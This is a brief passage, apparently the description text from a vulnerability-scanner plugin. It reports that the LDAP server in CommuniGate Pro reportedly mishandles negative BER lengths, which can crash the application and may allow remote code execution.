"The remote host appears to be running CommuniGate Pro, a commercial
email and groupware application. 

The version of CommuniGate Pro installed on the remote host includes
an LDAP server that reportedly fails to handle requests with negative
BER lengths.  A user can leverage this issue to crash not just the
LDAP server but also the entire application on the remote host. 
Remote code execution may even be possible." );
